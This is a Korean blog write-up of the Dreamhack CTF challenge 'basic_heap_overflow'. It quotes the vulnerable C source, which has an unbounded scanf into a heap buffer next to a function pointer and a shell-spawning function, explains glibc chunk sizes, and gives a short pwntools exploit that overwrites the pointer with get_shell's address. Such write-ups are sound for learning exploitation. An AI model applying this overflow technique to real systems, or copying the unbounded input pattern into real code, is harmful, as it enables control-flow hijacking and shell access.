본문 바로가기

System Hacking

[Dreamhack] basic_heap_overflow write up - 티스토리

 

 

 

 

문제 코드

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

struct over {
    void (*table)();
};

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void table_func() {
    printf("overwrite_me!");
}

int main() {
    char *ptr = malloc(0x20);

    struct over *over = malloc(0x20);

    initialize();

    over->table = table_func;

    scanf("%s", ptr);

    if( !over->table ){
        return 0;
    }

    over->table();
    return 0;
}

 

 

 

코드 분석

 

ptr에 0x20만큼 청크를 할당하고 있다.

over에도 마찬가지로 0x20만큼 청크를 할당하고 있고 ptr에 입력을 받는데 제한이 없으므로 overflow가 가능하다

 

 

 

 

청크

 

청크는 64비트 환경에서는 16바이트 단위로 청크를 할당하고 32비트 환경에서는 8바이트 단위로 할당 된다

밑에 청크 구조를 보면 data는 사용자가 값을 입력한 데이터가 저장이 되고 prev_size와 size는 인접한 직전 청크의 크기와 현재 청크의 크기를 나타낸다

따라서 16바이트 청크를 할당 받으면 총 +16바이트가 되어서 32바이트 청크가 할당이 된다

** 32비트의 경우 16바이트 할당 시 24바이트가 할당이 됨

 

 

 

출처 : 드림핵

 

 

페이로드

from pwn import*
 
p = remote('host3.dreamhack.games', 21331)
 
e = ELF('./basic_heap_overflow')
 
get_shell = e.symbols['get_shell']
 
payload = b'A'*40 + p32(get_shell)
 
p.sendline(payload)
 
p.interactive()

 

 

40바이트가 할당이 되는 이유는 prev_size와 size의 크기를 고려해준 것

 

 

 

**로컬에서 (64비트)의 청크크기